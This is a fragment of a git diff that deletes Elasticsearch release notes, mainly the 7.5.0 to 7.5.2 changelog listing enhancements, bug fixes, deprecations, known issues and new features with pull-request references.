-Task Management::
-* Catch AllocatedTask registration failures {es-pull}45300[#45300]
-
-Transforms::
-* Use field_caps API for mapping deduction {es-pull}46703[#46703] (issue: {es-issue}46694[#46694])
-* Fix off-by-one error in checkpoint operations_behind {es-pull}46235[#46235]
-* Moves failure state transition for MT safety {es-pull}45676[#45676] (issue: {es-issue}45664[#45664])
-* Fix _start?force=true bug {es-pull}45660[#45660]
-* Fix failure state transitions and race condition {es-pull}45627[#45627] (issues: {es-issue}45562[#45562], {es-issue}45609[#45609])
-* Fix starting a batch data frame after stopping at runtime  {es-pull}45340[#45340] (issues: {es-issue}44219[#44219], {es-issue}45339[#45339])
-* Fix null aggregation handling in indexer {es-pull}45061[#45061] (issue: {es-issue}44906[#44906])
-* Unify validation exceptions between PUT and _preview {es-pull}44983[#44983] (issue: {es-issue}44953[#44953])
-* Treat bulk index failures as an indexing failure {es-pull}44351[#44351] (issue: {es-issue}44101[#44101])
-* Prevent task from attempting to run when failed {es-pull}44239[#44239] (issue: {es-issue}44121[#44121])
-* Respond with 409 status code when failing _stop {es-pull}44231[#44231] (issue: {es-issue}44103[#44103])
-* Add index validations to _start data frame transform {es-pull}44191[#44191] (issue: {es-issue}44104[#44104])
-* Data frame task failure does not make a 500 response {es-pull}44058[#44058] (issue: {es-issue}44011[#44011])
-* Audit message missing for autostop {es-pull}43984[#43984] (issue: {es-issue}43977[#43977])
-
-[[regression-7.4.0]]
-[discrete]
-=== Regressions
-
-Aggregations::
-* Implement rounding optimization for fixed offset timezones {es-pull}46670[#46670] (issue: {es-issue}45702[#45702])
-
-
-
-[[upgrade-7.4.0]]
-[discrete]
-=== Upgrades
-
-Infra/Core::
-* Update joda to 2.10.3 {es-pull}45495[#45495]
-
-Infra/Packaging::
-* Upgrade to JDK 12.0.2 {es-pull}45172[#45172]
-
-Network::
-* Upgrade to Netty 4.1.38 {es-pull}45132[#45132]
-
-Search::
-* Upgrade to lucene snapshot 8.3.0-snapshot-8dd116a6158 {es-pull}45604[#45604] (issue: {es-issue}43976[#43976])
diff --git a/docs/reference/release-notes/7.5.asciidoc b/docs/reference/release-notes/7.5.asciidoc
deleted file mode 100644
index 141bcc55b44..00000000000
--- a/docs/reference/release-notes/7.5.asciidoc
+++ /dev/null
@@ -1,581 +0,0 @@
-[[release-notes-7.5.2]]
-== {es} version 7.5.2
-
-[[enhancement-7.5.2]]
-[discrete]
-=== Enhancements
-
-Features/Ingest::
-* Fork recursive calls in Foreach processor {es-pull}50514[#50514]
-
-Infra/Core::
-* Fix unintended debug logging in subclasses of TransportMasterNodeAction  {es-pull}50839[#50839] (issues: {es-issue}50056[#50056], {es-issue}50074[#50074], {es-issue}50076[#50076])
-
-
-[[bug-7.5.2]]
-[discrete]
-=== Bug fixes
-
-Analysis::
-* Fix caching for PreConfiguredTokenFilter {es-pull}50912[#50912] (issue: {es-issue}50734[#50734])
-
-CRUD::
-* Block too many concurrent mapping updates {es-pull}51038[#51038] (issue: {es-issue}50670[#50670])
-
-Engine::
-* Account soft-deletes in FrozenEngine {es-pull}51192[#51192] (issue: {es-issue}50775[#50775])
-
-Features/ILM+SLM::
-* Fix SLM check for restore in progress {es-pull}50868[#50868]
-
-Features/Ingest::
-* Fix ingest simulate response document order if processor executes async {es-pull}50244[#50244]
-
-Features/Java Low Level REST Client::
-* Improve warning value extraction performance in response {es-pull}50208[#50208] (issue: {es-issue}24114[#24114])
-
-Machine Learning::
-* Fixes potential memory corruption or inconsistent state when background
-persisting categorizer state. {ml-pull}921[#921]
-
-Mapping::
-* Ensure that field collapsing works with field aliases. {es-pull}50722[#50722] (issues: {es-issue}32648[#32648], {es-issue}50121[#50121])
-* Fix meta version of task index mapping {es-pull}50363[#50363] (issue: {es-issue}48393[#48393])
-
-Recovery::
-* Check allocation ID when failing shard on recovery {es-pull}50656[#50656] (issue: {es-issue}50508[#50508])
-
-SQL::
-* Change the way unsupported data types fields are handled {es-pull}50823[#50823]
-* Optimization fixes for conjunction merges {es-pull}50703[#50703] (issue: {es-issue}49637[#49637])
-*  Fix issue with CAST and NULL checking. {es-pull}50371[#50371] (issue: {es-issue}50191[#50191])
-* Fix NPE for JdbcResultSet.getDate(param, Calendar) calls {es-pull}50184[#50184] (issue: {es-issue}50174[#50174])
-
-Search::
-* Fix upgrade of custom similarity {es-pull}50851[#50851] (issue: {es-issue}50763[#50763])
-
-Security::
-* Always consume the request body of `has_privileges` API {es-pull}50298[#50298] (issue: {es-issue}50288[#50288])
-
-
-[[release-notes-7.5.1]]
-== {es} version 7.5.1
-
-Also see <<breaking-changes-7.5,Breaking changes in 7.5>>.
-
-[[enhancement-7.5.1]]
-[discrete]
-=== Enhancements
-
-Features/Watcher::
-* Log attachment generation failures {es-pull}50080[#50080]
-
-Network::
-* Netty4: switch to composite cumulator {es-pull}49478[#49478]
-
-
-
-[[bug-7.5.1]]
-[discrete]
-=== Bug fixes
-
-Authentication::
-* Fix iterate-from-1 bug in smart realm order {es-pull}49473[#49473]
-
-CRUD::
-* Do not mutate request on scripted upsert {es-pull}49578[#49578] (issue: {es-issue}48670[#48670])
-
-Cluster Coordination::
-* Make elasticsearch-node tools custom metadata-aware {es-pull}48390[#48390]
-
-Engine::
-* Account trimAboveSeqNo in committed translog generation {es-pull}50205[#50205] (issue: {es-issue}49970[#49970])
-
-Features/ILM+SLM::
-* Handle failure to retrieve ILM policy step better {es-pull}49193[#49193] (issue: {es-pull}49128[#49128])
-
-Features/Java High Level REST Client::
-* Support es7 node http publish_address format {es-pull}49279[#49279] (issue: {es-issue}48950[#48950])
-
-Geo::
-* Fix handling of circles in legacy geo_shape queries {es-pull}49410[#49410] (issue: {es-issue}49296[#49296])
-
-Infra/Packaging::
-* Extend systemd timeout during startup {es-pull}49784[#49784] (issue: {es-issue}49593[#49593])
-
-Machine Learning::
-* Use query in cardinality check {es-pull}49939[#49939]
-* Fix expired job results deletion audit message {es-pull}49560[#49560] (issue: {es-issue}49549[#49549])
-* Apply source query on data frame analytics memory estimation {es-pull}49527[#49527] (issue: {es-issue}49454[#49454])
-* Stop timing stats failure propagation {es-pull}49495[#49495]
-
-Mapping::
-* Improve DateFieldMapper `ignore_malformed` handling {es-pull}50090[#50090] (issue: {es-issue}50081[#50081])
-
-Recovery::
-* Migrate peer recovery from translog to retention lease {es-pull}49448[#49448] (issue: {es-issue}45136[#45136])
-
-SQL::
-* COUNT DISTINCT returns 0 instead of NULL for no matching docs {es-pull}50037[#50037] (issue: {es-issue}50013[#50013])
-* Fix LOCATE function optional parameter handling  {es-pull}49666[#49666] (issue: {es-issue}49557[#49557])
-* Fix NULL handling for FLOOR and CEIL functions {es-pull}49644[#49644] (issue: {es-issue}49556[#49556])
-* Handle NULL arithmetic operations with INTERVALs {es-pull}49633[#49633] (issue: {es-issue}49297[#49297])
-* Fix issue with GROUP BY YEAR() {es-pull}49559[#49559] (issue: {es-issue}49386[#49386])
-* Fix issue with CASE/IIF pre-calculating results {es-pull}49553[#49553] (issue: {es-issue}49388[#49388])
-* Fix issue with folding of CASE/IIF {es-pull}49449[#49449] (issue: {es-issue}49387[#49387])
-* Fix issues with WEEK/ISO_WEEK/DATEDIFF {es-pull}49405[#49405] (issues: {es-issue}48209[#48209], {es-issue}49376[#49376])
-
-Snapshot/Restore::
-* Fix Index Deletion during Snapshot Finalization {es-pull}50202[#50202] (issues: {es-issue}45689[#45689], {es-issue}50200[#50200])
-
-Transform::
-* Fix possible audit logging disappearance after rolling upgrade {es-pull}49731[#49731] (issue: {es-issue}49730[#49730])
-
-
-[[release-notes-7.5.0]]
-== {es} version 7.5.0
-
-Also see <<breaking-changes-7.5,Breaking changes in 7.5>>.
-
-[[known-issues-7.5.0]]
-[discrete]
-=== Known issues
-
-* Applying deletes or updates on an index after it has been shrunk may corrupt
-the index. In order to prevent this issue, it is recommended to stop shrinking
-read-write indices. For read-only indices, it is recommended to force-merge
-indices after shrinking, which significantly reduces the likeliness of this
-corruption in the case that deletes/updates would be applied by mistake. This
-bug is fixed in {es} 7.7 and later versions. More details can be found on the
-https://issues.apache.org/jira/browse/LUCENE-9300[corresponding issue].
-
-* Stop all {transforms} during a rolling upgrade to 7.5.
-If a {transform} is running during upgrade, the {transform} audit index might disappear.
-(issue: {es-issue}/49730[#49730])
-
-* Indices created in 6.x with <<date,`date`>> and <<date_nanos,`date_nanos`>> fields using formats
-that are incompatible with java.time patterns will cause parsing errors, incorrect date calculations or wrong search results.
-https://github.com/elastic/elasticsearch/pull/52555
-This is fixed in {es} 7.7 and later versions.
-
-[[breaking-7.5.0]]
-[discrete]
-=== Breaking changes
-
-Search::
-* Add support for aliases in queries on _index. {es-pull}46640[#46640] (issues: {es-issue}23306[#23306], {es-issue}34089[#34089])
-
-
-
-[[deprecation-7.5.0]]
-[discrete]
-=== Deprecations
-
-Aggregations::
-* Deprecate the  "index.max_adjacency_matrix_filters" setting {es-pull}46394[#46394] (issue: {es-issue}46324[#46324])
-
-Allocation::
-* Deprecate include_relocations setting {es-pull}47443[#47443] (issue: {es-issue}46079[#46079])
-
-Mapping::
-* Deprecate `_field_names` disabling {es-pull}42854[#42854] (issue: {es-issue}27239[#27239])
-
-Search::
-* Reject regexp queries on the _index field. {es-pull}46945[#46945] (issues: {es-issue}34089[#34089], {es-issue}46640[#46640])
-
-
-
-[[feature-7.5.0]]
-[discrete]
-=== New features
-
-Features/ILM+SLM::
-* Add API to execute SLM retention on-demand {es-pull}47405[#47405] (issues: {es-issue}43663[#43663], {es-issue}46508[#46508])
-* Add retention to Snapshot Lifecycle Management {es-pull}46407[#46407] (issues: {es-issue}38461[#38461], {es-issue}43663[#43663], {es-issue}45362[#45362])
-
-Features/Ingest::
-* Add enrich processor {es-pull}48039[#48039] (issue: {es-issue}32789[#32789])
-
-Machine Learning::
-* Implement evaluation API for multiclass classification problem {es-pull}47126[#47126] (issue: {es-issue}46735[#46735])
-* Implement new analysis type: classification {es-pull}46537[#46537] (issue: {es-issue}46735[#46735])
-* Add audit messages for Data Frame Analytics {es-pull}46521[#46521] (issue: {es-issue}184[#184])
-* Implement DataFrameAnalyticsAuditMessage and DataFrameAnalyticsAuditor {es-pull}45967[#45967]
-
-SQL::
-* SQL: Implement DATEDIFF function {es-pull}47920[#47920] (issue: {es-issue}47919[#47919])
-* SQL: Implement DATEADD function {es-pull}47747[#47747] (issue: {es-issue}47746[#47746])
-* SQL: Implement DATE_PART function {es-pull}47206[#47206] (issue: {es-issue}46372[#46372])
-* SQL: Add alias DATETRUNC to DATE_TRUNC function {es-pull}47173[#47173] (issue: {es-issue}46473[#46473])
-* SQL: Add PIVOT support {es-pull}46489[#46489]
-* SQL: Implement DATE_TRUNC function {es-pull}46473[#46473] (issue: {es-issue}46319[#46319])
-
-
-
-[[enhancement-7.5.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Adjacency_matrix aggregation memory usage optimisation. {es-pull}46257[#46257] (issue: {es-issue}46212[#46212])
-* Support geotile_grid aggregation in composite agg sources {es-pull}45810[#45810] (issue: {es-issue}40568[#40568])
-
-Allocation::
-* Do not cancel ongoing recovery for noop copy on broken node {es-pull}48265[#48265] (issue: {es-issue}47974[#47974])
-* Shrink should not touch max_retries {es-pull}47719[#47719]
-* Re-fetch shard info of primary when new node joins {es-pull}47035[#47035] (issues: {es-issue}42518[#42518], {es-issue}46959[#46959])
-* Sequence number based replica allocation {es-pull}46959[#46959] (issue: {es-issue}46318[#46318])
-
-Authorization::
-* Add support to retrieve all API keys if user has privilege {es-pull}47274[#47274] (issue: {es-issue}46887[#46887])
-* Add 'create_doc' index privilege {es-pull}45806[#45806]
-* Reducing privileges needed by built-in beats_admin role {es-pull}41586[#41586]
-
-CCR::
-* Add Pause/Resume Auto-Follower APIs to High Level REST Client {es-pull}47989[#47989] (issue: {es-issue}47510[#47510])
-* Add Pause/Resume Auto Follower APIs {es-pull}47510[#47510] (issue: {es-issue}46665[#46665])
-
-CRUD::
-* Allow optype CREATE for append-only indexing operations {es-pull}47169[#47169]
-
-Cluster Coordination::
-* Warn on slow metadata persistence {es-pull}47005[#47005]
-* Improve LeaderCheck rejection messages {es-pull}46998[#46998]
-
-Engine::
-* Do not warm up searcher in engine constructor {es-pull}48605[#48605] (issue: {es-issue}47186[#47186])
-* Refresh should not acquire readLock {es-pull}48414[#48414] (issue: {es-issue}47186[#47186])
-* Avoid unneeded refresh with concurrent realtime gets {es-pull}47895[#47895]
-* sync before trimUnreferencedReaders to improve index preformance {es-pull}47790[#47790] (issues: {es-issue}46201[#46201], {es-issue}46203[#46203])
-* Limit number of retaining translog files for peer recovery {es-pull}47414[#47414]
-* Remove isRecovering method from Engine {es-pull}47039[#47039]
-
-Features/ILM+SLM::
-* Separate SLM stop/start/status API from ILM {es-pull}47710[#47710] (issue: {es-issue}43663[#43663])
-* Set default SLM retention invocation time {es-pull}47604[#47604] (issue: {es-issue}43663[#43663])
-* ILM: Skip rolling indexes that are already rolled {es-pull}47324[#47324] (issue: {es-issue}44175[#44175])
-*  Add support for POST requests to SLM Execute API  {es-pull}47061[#47061]
-* Wait for snapshot completion in SLM snapshot invocation {es-pull}47051[#47051] (issues: {es-issue}38461[#38461], {es-issue}43663[#43663])
-* Add node setting for disabling SLM {es-pull}46794[#46794] (issue: {es-issue}38461[#38461])
-* ILM: parse origination date from index name {es-pull}46755[#46755] (issues: {es-issue}42449[#42449], {es-issue}46561[#46561])
-* [ILM] Add date setting to calculate index age {es-pull}46561[#46561] (issue: {es-issue}42449[#42449])
-
-Features/Ingest::
-* Add the ability to require an ingest pipeline {es-pull}46847[#46847]
-
-Features/Java High Level REST Client::
-* add function submitDeleteByQueryTask in class RestHighLevelClient {es-pull}46833[#46833]
-* return Cancellable in RestHighLevelClient {es-pull}45688[#45688] (issue: {es-issue}44802[#44802])
-
-Features/Java Low Level REST Client::
-* Add cloudId builder to the HLRC {es-pull}47868[#47868]
-* Add support for cancelling async requests in low-level REST client {es-pull}45379[#45379] (issues: {es-issue}43332[#43332], {es-issue}44802[#44802])
-
-Features/Monitoring::
-* Remove hard coded version_created in default monitoring alerts {es-pull}47744[#47744]
-
-Infra/Circuit Breakers::
-* Emit log message when parent circuit breaker trips {es-pull}47000[#47000]
-* Fix G1 GC default IHOP {es-pull}46169[#46169]
-
-Infra/Core::
-* Introduce system JVM options {es-pull}48252[#48252] (issue: {es-issue}48222[#48222])
-* Set start of the week to Monday for root locale {es-pull}43652[#43652] (issues: {es-issue}41670[#41670], {es-issue}42588[#42588], {es-issue}43275[#43275])
-
-Infra/Packaging::
-* Package the JDK into jdk.app on macOS {es-pull}48765[#48765]
-* Move ES_TMPDIR substitution into jvm options parser {es-pull}47189[#47189] (issue: {es-issue}47133[#47133])
-* Clarify missing java error message {es-pull}46160[#46160] (issue: {es-issue}44139[#44139])
-
-Infra/Scripting::
-* Add explanations to script score queries {es-pull}46693[#46693]
-
-Infra/Settings::
-* Do not reference values for filtered settings {es-pull}48066[#48066]
-* Allow setting validation against arbitrary types {es-pull}47264[#47264] (issue: {es-issue}25560[#25560])
-* Clarify error message on keystore write permissions {es-pull}46321[#46321]
-* Add more meaningful keystore version mismatch errors {es-pull}46291[#46291] (issue: {es-issue}44624[#44624])
-
-Machine Learning::
-* Throw an exception when memory usage estimation endpoint encounters empty data frame. {es-pull}49143[#49143] (issue: {es-issue}49140[#49140])
-* Change format of MulticlassConfusionMatrix result to be more self-explanatory {es-pull}48174[#48174] (issue: {es-issue}46735[#46735])
-* Make num_top_classes parameter's default value equal to 2 {es-pull}48119[#48119] (issue: {es-issue}46735[#46735])
-* [ML] Add option to stop datafeed that finds no data {es-pull}47922[#47922]
-* Allow integer types for classification's dependent variable {es-pull}47902[#47902] (issue: {es-issue}46735[#46735])
-* [ML] Add lazy assignment job config option {es-pull}47726[#47726]
-* [ML] Additional outlier detection parameters {es-pull}47600[#47600]
-* [ML] More accurate job memory overhead {es-pull}47516[#47516]
-* [ML] Throttle the delete-by-query of expired results {es-pull}47177[#47177] (issues: {es-issue}47003[#47003], {es-issue}47103[#47103])
-
-Mapping::
-* Add migration tool checks for _field_names disabling {es-pull}46972[#46972] (issues: {es-issue}42854[#42854], {es-issue}46681[#46681])
-
-Network::
-* Introduce simple remote connection strategy {es-pull}47480[#47480]
-* Enhanced logging when transport is misconfigured to talk to HTTP port {es-pull}45964[#45964] (issue: {es-issue}32688[#32688])
-
-Recovery::
-* Do not send recovery requests with CancellableThreads {es-pull}46287[#46287] (issue: {es-issue}46178[#46178])
-
-SQL::
-* SQL: make date/datetime and interval types compatible in conditional functions {es-pull}47595[#47595] (issue: {es-issue}46674[#46674])
-* SQL: use calendar interval of 1y instead of fixed interval for grouping by YEAR and HISTOGRAMs {es-pull}47558[#47558] (issue: {es-issue}40162[#40162])
-* SQL: Support queries with HAVING over SELECT {es-pull}46709[#46709] (issue: {es-issue}37051[#37051])
-* SQL: Add support for shape type {es-pull}46464[#46464] (issues: {es-issue}43644[#43644], {es-issue}46412[#46412])
-
-Search::
-* Remove response search phase from ExpandSearchPhase {es-pull}48401[#48401]
-* Add builder for distance_feature to QueryBuilders {es-pull}47846[#47846] (issue: {es-issue}47767[#47767])
-* Fold InitialSearchPhase into AbstractSearchAsyncAction {es-pull}47182[#47182]
-* max_children exist only in top level nested sort {es-pull}46731[#46731]
-* First round of optimizations for vector functions. {es-pull}46294[#46294] (issues: {es-issue}45390[#45390], {es-issue}45936[#45936], {es-issue}46103[#46103], {es-issue}46155[#46155], {es-issue}46190[#46190], {es-issue}46202[#46202])
-* Throw exception in scroll requests using `from` {es-pull}46087[#46087] (issues: {es-issue}26235[#26235], {es-issue}44493[#44493], {es-issue}9373[#9373])
-
-Snapshot/Restore::
-* Track Repository Gen. in BlobStoreRepository {es-pull}48944[#48944] (issues: {es-issue}38941[#38941], {es-issue}47520[#47520], {es-issue}47834[#47834], {es-issue}49048[#49048])
-* Resume partial download from S3 on connection drop {es-pull}46589[#46589]
-* More Efficient Ordering of Shard Upload Execution {es-pull}42791[#42791]
-
-Transform::
-* [ML][Transforms] allow executor to call start on started task {es-pull}46347[#46347]
-* [ML-DataFrame] improve error message for timeout case in stop {es-pull}46131[#46131] (issue: {es-issue}45610[#45610])
-* [ML][Data Frame] add support for `wait_for_checkpoint` flag on `_stop` API {es-pull}45469[#45469] (issue: {es-issue}45293[#45293])
-
-
-
-[[bug-7.5.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Fix ignoring missing values in min/max aggregations {es-pull}48970[#48970] (issue: {es-issue}48905[#48905])
-* DocValueFormat implementation for date range fields {es-pull}47472[#47472] (issues: {es-issue}47323[#47323], {es-issue}47469[#47469])
-
-Allocation::
-* Auto-expand replicated closed indices {es-pull}48973[#48973]
-* Handle negative free disk space in deciders {es-pull}48392[#48392] (issue: {es-issue}48380[#48380])
-* Dangling indices strip aliases {es-pull}47581[#47581]
-* Cancel recoveries even if all shards assigned {es-pull}46520[#46520]
-* Fail allocation of new primaries in empty cluster {es-pull}43284[#43284] (issue: {es-issue}41073[#41073])
-
-Analysis::
-* Reset Token position on reuse in `predicate_token_filter` {es-pull}47424[#47424] (issue: {es-issue}47197[#47197])
-
-Audit::
-* Audit log filter and marker {es-pull}45456[#45456] (issue: {es-issue}47251[#47251])
-
-Authentication::
-* Add owner flag parameter to the rest spec {es-pull}48500[#48500] (issue: {es-issue}48499[#48499])
-* Add populate_user_metadata in OIDC realm {es-pull}48357[#48357] (issue: {es-issue}48217[#48217])
-* Remove unnecessary details logged for OIDC {es-pull}48271[#48271]
-* Fix AD realm additional metadata {es-pull}47179[#47179] (issue: {es-issue}45848[#45848])
-* Fallback to realm authc if ApiKey fails {es-pull}46538[#46538]
-* PKI realm accept only verified certificates {es-pull}45590[#45590]
-
-Authorization::
-* Fix security origin for TokenService#findActiveTokensFor... {es-pull}47418[#47418] (issue: {es-issue}47151[#47151])
-* Use 'should' clause instead of 'filter' when querying native privileges {es-pull}47019[#47019]
-* Do not rewrite aliases on remove-index from aliases requests {es-pull}46989[#46989]
-* Validate index and cluster privilege names when creating a role {es-pull}46361[#46361] (issue: {es-issue}29703[#29703])
-* Validate `query` field when creating roles {es-pull}46275[#46275] (issue: {es-issue}34252[#34252])
-
-CCR::
-* CCR should auto-retry rejected execution exceptions {es-pull}49213[#49213]
-* Do not auto-follow closed indices {es-pull}47721[#47721] (issue: {es-issue}47582[#47582])
-* Relax maxSeqNoOfUpdates assertion in FollowingEngine {es-pull}47188[#47188] (issue: {es-issue}47137[#47137])
-* Handle lower retaining seqno retention lease error {es-pull}46420[#46420] (issues: {es-issue}46013[#46013], {es-issue}46416[#46416])
-
-CRUD::
-* Close query cache on index service creation failure {es-pull}48230[#48230] (issue: {es-issue}48186[#48186])
-* Use optype CREATE for single auto-id index requests {es-pull}47353[#47353]
-* Ignore replication for noop updates {es-pull}46458[#46458] (issues: {es-issue}41065[#41065], {es-issue}44603[#44603], {es-issue}46366[#46366])
-
-Client::
-* Correct default refresh policy for security APIs {es-pull}46896[#46896]
-
-Cluster Coordination::
-* Ignore metadata of deleted indices at start {es-pull}48918[#48918]
-* Omit writing index metadata for non-replicated closed indices on data-only node {es-pull}47285[#47285] (issue: {es-issue}47276[#47276])
-* Assert no exceptions during state application {es-pull}47090[#47090] (issue: {es-issue}47038[#47038])
-* Remove trailing comma from nodes lists {es-pull}46484[#46484]
-
-Distributed::
-* Closed shard should never open new engine {es-pull}47186[#47186] (issues: {es-issue}45263[#45263], {es-issue}47060[#47060])
-* Fix false positive out of sync warning in synced-flush {es-pull}46576[#46576] (issues: {es-issue}28464[#28464], {es-issue}30244[#30244])
-* Suppress warning logs from background sync on relocated primary {es-pull}46247[#46247] (issues: {es-issue}40800[#40800], {es-issue}42241[#42241])
-
-Engine::
-* Greedily advance safe commit on new global checkpoint {es-pull}48559[#48559] (issue: {es-issue}48532[#48532])
-
-Features/ILM+SLM::
-* Don't halt policy execution on policy trigger exception {es-pull}49128[#49128]
-* Don't schedule SLM jobs when services have been stopped {es-pull}48658[#48658] (issue: {es-issue}47749[#47749])
-* Ensure SLM stats does not block an in-place upgrade from 7.4 {es-pull}48367[#48367]
-* Ensure SLM stats does not block an in-place upgrade from 7.4 {es-pull}48361[#48361]
-* Add SLM support to xpack usage and info APIs {es-pull}48096[#48096] (issue: {es-issue}43663[#43663])
-* Change policy_id to list type in slm.get_lifecycle {es-pull}47766[#47766] (issue: {es-issue}47765[#47765])
-* Throw error retrieving non-existent SLM policy {es-pull}47679[#47679] (issue: {es-issue}47664[#47664])
-* Handle partial failure retrieving segments in SegmentCountStep {es-pull}46556[#46556]
-* Fixes for API specification {es-pull}46522[#46522]
-
-Features/Indices APIs::
-* Fix Rollover error when alias has closed indices {es-pull}47148[#47148] (issue: {es-issue}47146[#47146])
-
-Features/Ingest::
-* Do not wrap ingest processor exception with IAE {es-pull}48816[#48816] (issue: {es-issue}48810[#48810])
-* Introduce dedicated ingest processor exception {es-pull}48810[#48810] (issue: {es-issue}48803[#48803])
-* Allow dropping documents with auto-generated ID {es-pull}46773[#46773] (issue: {es-issue}46678[#46678])
-* Expose cache setting in UserAgentPlugin {es-pull}46533[#46533]
-
-Features/Java High Level REST Client::
-* fix incorrect comparison {es-pull}48208[#48208]
-* Fix ILM HLRC Javadoc->Documentation links {es-pull}48083[#48083]
-* Change HLRC count request to accept a QueryBuilder {es-pull}46904[#46904] (issue: {es-issue}46829[#46829])
-* [HLRC] Send min_score as query string parameter to the count API {es-pull}46829[#46829] (issue: {es-issue}46474[#46474])
-* HLRC multisearchTemplate forgot params {es-pull}46492[#46492] (issue: {es-issue}46488[#46488])
-* Added fields for MultiTermVectors (#42232) {es-pull}42877[#42877] (issue: {es-issue}42232[#42232])
-
-Features/Java Low Level REST Client::
-* Update http-core and http-client dependencies {es-pull}46549[#46549] (issues: {es-issue}45379[#45379], {es-issue}45577[#45577], {es-issue}45808[#45808])
-
-Features/Monitoring::
-* [Monitoring] Add new cluster privilege now necessary for the stack monitoring ui {es-pull}47871[#47871]
-* Validating monitoring hosts setting while parsing {es-pull}47246[#47246] (issue: {es-issue}47125[#47125])
-
-Features/Watcher::
-* Fix class used to initialize logger in Watcher {es-pull}46467[#46467]
-* Fix wrong URL encoding in watcher HTTP client {es-pull}45894[#45894] (issue: {es-issue}44970[#44970])
-* Prevent deadlock by using separate schedulers {es-pull}48697[#48697] (issues: {es-issue}41451[#41451], {es-issue}47599[#47599])
-* Fix cluster alert for watcher/monitoring IndexOutOfBoundsExcep… {es-pull}45308[#45308] (issue: {es-issue}43184[#43184])
-
-Geo::
-* Geo: implement proper handling of out of bounds geo points {es-pull}47734[#47734] (issue: {es-issue}43916[#43916])
-* Geo: Fixes indexing of linestrings that go around the globe {es-pull}47471[#47471] (issues: {es-issue}43826[#43826], {es-issue}43837[#43837])
-* Provide better error when updating geo_shape field mapper settings {es-pull}47281[#47281] (issue: {es-issue}47006[#47006])
-* Geo: fix indexing of west to east linestrings crossing the antimeridian {es-pull}46601[#46601] (issue: {es-issue}43775[#43775])
-* Reset queryGeometry in ShapeQueryTests {es-pull}45974[#45974] (issue: {es-issue}45628[#45628])
-
-Highlighting::
-* Fix highlighting of overlapping terms in the unified highlighter {es-pull}47227[#47227]
-* Fix highlighting for script_score query {es-pull}46507[#46507] (issue: {es-issue}46471[#46471])
-
-Infra/Core::
-* Don't drop user's MaxDirectMemorySize flag on jdk8/windows {es-pull}48657[#48657] (issues: {es-issue}44174[#44174], {es-issue}48365[#48365])
-* Warn when MaxDirectMemorySize may be incorrect (Windows/JDK8 only issue) {es-pull}48365[#48365] (issue: {es-issue}47384[#47384])
-* Support optional parsers in any order with DateMathParser and roundup {es-pull}46654[#46654] (issue: {es-issue}45284[#45284])
-
-Infra/Logging::
-* SearchSlowLog uses a non thread-safe object to escape json {es-pull}48363[#48363] (issues: {es-issue}44642[#44642], {es-issue}48358[#48358])
-
-Infra/Scripting::
-* Drop stored scripts with the old style-id {es-pull}48078[#48078] (issue: {es-issue}47593[#47593])
-
-Machine Learning::
-* [ML] Fixes for stop datafeed edge cases {es-pull}49191[#49191] (issues: {es-issue}43670[#43670], {es-issue}48931[#48931])
-* [ML] Avoid NPE when node load is calculated on job assignment {es-pull}49186[#49186] (issue: {es-issue}49150[#49150])
-* Do not throw exceptions resulting from persisting datafeed timing stats. {es-pull}49044[#49044] (issue: {es-issue}49032[#49032])
-* [ML] Deduplicate multi-fields for data frame analytics {es-pull}48799[#48799] (issues: {es-issue}48756[#48756], {es-issue}48770[#48770])
-* [ML] Prevent fetching multi-field from source {es-pull}48770[#48770] (issue: {es-issue}48756[#48756])
-* [ML] Fix detection of syslog-like timestamp in find_file_structure {es-pull}47970[#47970]
-* Fix serialization of evaluation response. {es-pull}47557[#47557]
-* [ML] Reinstate ML daily maintenance actions {es-pull}47103[#47103] (issue: {es-issue}47003[#47003])
-* [ML] fix two datafeed flush lockup bugs {es-pull}46982[#46982]
-
-Network::
-* Fix es.http.cname_in_publish_address Deprecation Logging {es-pull}47451[#47451] (issue: {es-issue}47436[#47436])
-
-Recovery::
-* Ignore Lucene index in peer recovery if translog corrupted {es-pull}49114[#49114]
-
-Reindex::
-* Fix issues with serializing BulkByScrollResponse {es-pull}45357[#45357]
-
-SQL::
-* SQL: Fix issue with mins & hours for DATEDIFF {es-pull}49252[#49252]
-* SQL: Fix issue with negative literels and parentheses {es-pull}48113[#48113] (issue: {es-issue}48009[#48009])
-* SQL: add "format" for "full" date range queries {es-pull}48073[#48073] (issue: {es-issue}48033[#48033])
-* SQL: Fix arg verification for DateAddProcessor {es-pull}48041[#48041]
-* SQL: Fix Nullability of DATEADD {es-pull}47921[#47921]
-* SQL: Allow whitespaces in escape patterns {es-pull}47577[#47577] (issue: {es-issue}47401[#47401])
-* SQL: fix multi full-text functions usage with aggregate functions {es-pull}47444[#47444] (issue: {es-issue}47365[#47365])
-* SQL: Check case where the pivot limit is reached {es-pull}47121[#47121] (issue: {es-issue}47002[#47002])
-* SQL: Properly handle indices with no/empty mapping {es-pull}46775[#46775] (issue: {es-issue}46757[#46757])
-* SQL: improve ResultSet behavior when no rows are available {es-pull}46753[#46753] (issue: {es-issue}46750[#46750])
-* SQL: use the correct data type for types conversion {es-pull}46574[#46574] (issue: {es-issue}46090[#46090])
-* SQL: Fix issue with common type resolution {es-pull}46565[#46565] (issue: {es-issue}46551[#46551])
-* SQL: fix scripting for grouped by datetime functions {es-pull}46421[#46421] (issue: {es-issue}40241[#40241])
-* SQL: Use null schema response {es-pull}46386[#46386] (issue: {es-issue}46381[#46381])
-* SQL: Fix issue with IIF function when condition folds {es-pull}46290[#46290] (issue: {es-issue}46268[#46268])
-* SQL: Fix issue with DataType for CASE with NULL {es-pull}46173[#46173] (issue: {es-issue}46032[#46032])
-* SQL: Failing Group By queries due to different ExpressionIds {es-pull}43072[#43072] (issues: {es-issue}33361[#33361], {es-issue}34543[#34543], {es-issue}36074[#36074], {es-issue}37044[#37044], {es-issue}40001[#40001], {es-issue}40240[#40240], {es-issue}41159[#41159], {es-issue}42041[#42041], {es-issue}46316[#46316])
-* SQL: wrong number of values for columns {es-pull}42122[#42122]
-
-Search::
-* Lucene#asSequentialBits gets the leadCost backwards. {es-pull}48335[#48335]
-* Ensure that we don't call listener twice when detecting a partial failures in _search {es-pull}47694[#47694]
-* Fix alias field resolution in match query {es-pull}47369[#47369]
-* Multi-get requests should wait for search active {es-pull}46283[#46283] (issue: {es-issue}27500[#27500])
-* Resolve the incorrect scroll_current when delete or close index {es-pull}45226[#45226]
-* Don't apply the plugin's reader wrapper in can_match phase {es-pull}47816[#47816] (issue: {es-issue}46817[#46817])
-
-Security::
